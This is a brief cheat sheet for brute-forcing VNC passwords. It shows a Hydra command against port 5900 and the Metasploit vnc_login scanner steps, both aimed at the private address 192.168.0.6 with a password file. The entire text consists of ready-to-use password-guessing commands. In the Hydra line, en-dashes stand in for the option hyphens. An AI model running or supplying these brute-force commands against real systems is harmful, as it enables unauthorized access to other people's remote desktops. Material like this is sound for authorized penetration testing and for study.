VNC Bruteforce

Hydra

hydra -s 5900 –P /root/Desktop/pass.txt –t 16 192.168.0.6 vnc

Metasploit

Metasploit

use auxiliary/scanner/vnc/vnc_login
msf auxiliary(scanner/vnc/vnc_login) > set rhosts 192.168.0.6
msf auxiliary(scanner/vnc/vnc_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/vnc/vnc_login) > run